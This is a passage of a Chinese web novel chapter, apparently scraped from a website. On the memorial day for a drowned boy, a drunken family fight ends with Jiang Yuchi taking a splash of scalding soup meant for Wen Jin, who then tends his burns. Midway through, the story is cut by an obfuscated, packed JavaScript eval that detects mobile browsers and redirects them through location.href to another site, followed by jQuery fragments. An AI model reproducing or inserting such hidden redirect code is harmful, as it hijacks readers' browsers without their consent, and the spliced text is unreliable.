冬至那天，是温家苑的祭日。
温瑾从七中回家时，家里破天荒的纤尘不染。
“不知道怎么搞的，那小子近些日子回得勤。”
温瑾一进屋，程春湘就神不知鬼不觉朝她挪去，递过了一把简易门锁。
“你还是得装一个，一头用膨胀螺丝打进隔音板，另一头在门帘上戳个洞系好就行。”
温瑾接过，下意识回头瞥了一眼江予迟的房间方向，囫囵点了点头。
家里多出一个半大少年，她以为程春湘终于反应过来，怕她一个女孩子不方便，然而下一瞬，耳畔就传来了一句八杆子打不着的论调。
“毕竟他手上不干净，别把你生活费给顺走了。”
一句话，让温瑾心里冒出一股无名火，捏住锁头的手用了些力气。
紧接着，她把锁往桌上一扔：“我有几个生活费？”
程春湘压根不知道，他非但看不上她那点儿生活费，还是她如今白纸黑字写在纸上的债主。
“发什么神经？”
程春湘白了她一眼，却也没了力气过多计较——时日特殊，是扎在她记忆里的一颗锈钉，每每想起小儿子溺水的场景，她一颗心脏就像被人凿了个口子，哗啦啦卸尽了全身力气。
江予迟是半个小时后回家的。
进屋后，他一眼瞥见了温瑾门上没装完的锁，很快收回了视线。
被撺掇着拿人当贼防，还被人当场撞上了，温瑾自然有些不好意思，脸上现出了一股窘色。
江予迟却好似没什么所谓。
见温瑾满头大汗跪在地上，半天没拧上一颗螺丝，他折返至隔壁翻出工具盒，返回后，又站在她身后看了会儿，几分钟后终于上前，闷不做声接过了她手里的物件。
“谢谢。”
温瑾声音压得很低，惊诧之余，仍有些不太自在。
她还是没办法管江予迟叫哥哥，但自那一次旧厂房被他狠拽了一把过后，不知不觉，他竟成了在这个家里，她唯一不感到害怕的人。
-
粗重的轰声不绝于耳，江予迟半跪着装锁，额上结着一层薄汗，手里的膨胀螺丝已经打进门板。
在他身后，程春湘正忙着填满饭盒。
她买了个足有四层高的新饭盒，里头装满了点心和水果。
桌上炖的是虫草鸡汤，散发着一股在这个家不常闻到的药膳香气。
装完点心水果，程春湘又拿出了一个汤盒盛汤。
屋子里，长久无人问津的座机忽然响了起来，程春湘手里的活计被打断，黑着脸转身接起了电话。
温瑾顺声望去，只见她脸色很快转阴为晴，嗓子因激动而发起了抖。
“下个月就拆？”
“从第几栋开始？”
“什么？还得排队？还得先把那栋旧厂房给拆了？”
程春湘话音刚落，江予迟手一颤，整个人腾一下遽然起立，手中的螺丝刀砸在了地上。
门锁才只装好了一半，温瑾不明所以，起身瞬间，江予迟已经冲出门去，抬眼间便没了身影。
“一天到晚神神秘秘的。”
程春湘啧了一声：“我可老早就听说了啊，这小子跟着社会上几个小有门路的瘪三赚钱，居然还赚了不少？”
她话音刚落，温瑾心跳一重，用力摇了摇头。
程春湘才不死心，眯起眼睛凑到了温瑾耳旁：“你真不知道？”
“我怎么知道？他讨厌我还来不及，赚了钱会和我说？”
正说着，两人身后，江才封满脸惊喜地进了门：“哟！今天什么日子啊，这么多吃的！？”
看见桌上的水果，他手都不洗，抓起一块就往嘴里递。
“江才封！老子去扫墓的祭品你也吃？你怎么不搁外头喝死！”
一声尖利的叫骂忽然传来，温瑾思绪被打断，见怪不怪地拾起了地上的螺丝刀，低着头继续装门锁。
“扫墓！？你个狗娘养的，居然给死人吃这么好！”
轰隆一声，是物件横飞的砸地声，程春湘又爆发出了一声尖叫。
“死人……死人，你再叫一声死人试试？我看你他妈才是死人，吃喝拉撒几十年，你有活出个人样吗？”
“老子没个人样，你有？你那成天死人脸的闺女有？你那埋在土里烂出疮的死人儿子有？”
江才封酒后满嘴傻话，清醒的时候，骂起人来竟比程春湘还不遑多让，听得温瑾心惊肉跳。
温家苑死时才那么小，又死得那么可怜，竟被他骂在土里生出了烂疮，程春湘怎么可能咽下这口气？
于是他话音刚落，程春湘便猛地朝他扑了过去，门外的动静陡然增大。
“杀千刀的江才封！你那三只手的哑巴儿子才他妈生烂疮呢！老子今天就和你拼了！”
温瑾腾一下起身，忽然无比想念那个狭窄安静的地下室，掀开门帘就往外走。
她想，人人都管疯女人叫疯子，为此，她甚至失去了自己的名字，可疯女人分明从不发疯，只是自说自话，寻寻觅觅，冷冷清清……
程春湘气得脸红脖子粗，一副铁了心要和江才封拼命的模样，而江才封力气不小，一脚就把人踹到了角落，眨眼间，又从柜子里翻出了一瓶酒，就着食盒里的点心吃得津津有味。
遭他踢了这一脚，程春湘动弹不得，蜷在地上哼了几声。
江才封也在哼——他吃东西时动静不小，口水吧嗒声里混合着几声惬意的哼哼。
而他每哼一下，温瑾额上青筋就难以抑制地多突一分，鬼使神差迈不动腿了。
深吸一口气，温瑾折返而去，本想抢过江才封手里的食盒，却被悍然起跳的程春湘抢了先。
像一只愤怒到顶点的母狮，程春湘一把夺过江才封手里的酒瓶，又用尽全力推了他一把。
江才封始料未及，被推得趔趄一下栽倒在地，膝盖磕到了身后柜角，嘴角歪歪扭扭一阵翕动，半晌都没能站起身来。
遍地狼藉。
温瑾怔然抬头，以为程春湘会把手里的酒砸在江才封头顶，她却没有。
相反，她大笑出声，死死盯着食盒里碎成渣的点心，开始仰着头把酒大口大口往自个儿嘴里灌。
一边灌，她一边被呛得剧烈咳嗽了起来，半边身子猛烈起伏，却没有一丝一毫停下的打算。
温瑾站在原地，见她嘴上狼吞虎咽，身体却抖得像干燥地板上一条涸辙的鱼，看着看着，尽管心里无比鄙夷，额上却汗滴直落，浑身发冷。
“你疯了！”
温瑾三步并两步快速上前，一把抢过酒，又揽过程春湘的肩膀，咬着牙想要扶她站起，却被一双陡然出现的手凭空打断。
“——别管。”
一声再熟悉不过的、每次灌入耳道时，都令温瑾极其不适、又莫名期冀的声音……<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15996329|178185||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
只是这一次，言语里的不耐近乎满溢。
温瑾回头，江予迟就站在她身前，年轻的身体像一堵陈旧的墙。
是从什么时候开始的？
温瑾居然未曾有一刻意识到。
江予迟原本嶙峋瘦弱的身体就如一株新树，在默默无觉间参差而立。
轻而易举，就遮尽了她全部的视线。
他眉头轻拧，视线扫过温瑾满头的汗，又移至她紧紧攥着程春湘的手，不止语气冷，就连眼神都冷得彻底。
“温瑾，别犯贱。”
这还是第一次，江予迟一字一句叫出了温瑾的名字。
却不想，竟是凶恶到极点的一句话，宛如在黑魆魆楼道里初见时的那一眼。
温瑾被那语调烫了一下，闷不做声推开了他的手。
她面无表情回身，想要继续扶程春湘站起来，程春湘却指着她的鼻子啐了一口，眼含泪光说起了醉话。
“晦气……真晦气啊！”
“我的家苑就是被你克死的！”
一句话，像一个大写的讽刺。
程春湘话音刚落，温瑾脊背僵硬怔在原地，无法想象，江予迟那双向来寡冷的眼睛，此刻究竟会写进多少嘲讽。
而江予迟似乎都懒得嘲讽。
温瑾身后，凌乱脚步声渐行渐远。
她应声回头，只见江才封摇摇晃晃站了起来，一个箭步朝前冲来，不打招呼地端起了桌上的乌鸡汤。
“疯婆娘！惦记老子的拆迁款，还不晓得把老子伺候好？”
咒骂落地，哗啦一声，滚烫的汤水沸腾了空气。
砂锅坠地时，洒出的抛物线自空中扬起，倏然掷向了母女二人的所在地。
“啊！”
温瑾尖叫出声，慌张抱头向下躲去，闭眼刹那，一声闷哼划过头皮，像是破碎的鸦叫，沙哑至极。
-
江予迟后腰起了一层水泡，皮肉则和衣衫交相粘连，被滚烫的汤水印出了一片红痕。
给人上药之时，温瑾手抖得厉害，江予迟却没什么特别的反应，赤着上半身安静坐着，盯着地下室外那棵光秃秃的树若有所思。
“那疯子住这儿？”
“她没疯，不是什么疯子。”
“行，不是疯子。”
江予迟明显对疯女人并不感兴趣，对此没再多问。
温瑾也不再吭声，屏着气小心上药，手上动作越发轻了。
“为什么帮我？”她问。
而江予迟也如她那日在旧厂房时一般，没有回答。
幸好是冬天，温瑾不再追问，只忍不住想，这人穿了件有些厚度的旧毛衣，才不至于被当场烫脱一层皮。
想到这儿，温瑾指尖莫名一颤，棉签尖端戳到了一片被烫红的皮肤，一阵后怕。
“疼吗？”
“还行，劲过了。”
说话时，江予迟渐渐拢上了眼，似乎困了。
温瑾收回发颤的手，见他喉结轻抖，明显忍着疼。
盯着他喉结看了几秒，温瑾起身，翻出一张旧报纸折成两半，整个人蹲下身去，在他腰间那片发红的烫伤上轻轻扇动了起来。
“对不起。”
她哭腔一出，江予迟眼睫一颤，泛着青的眼皮被烙下一小块投影，随她扇动的节奏轻轻扑簌。
有一瞬间，脆弱得像一只快要载不动翅膀的蝶。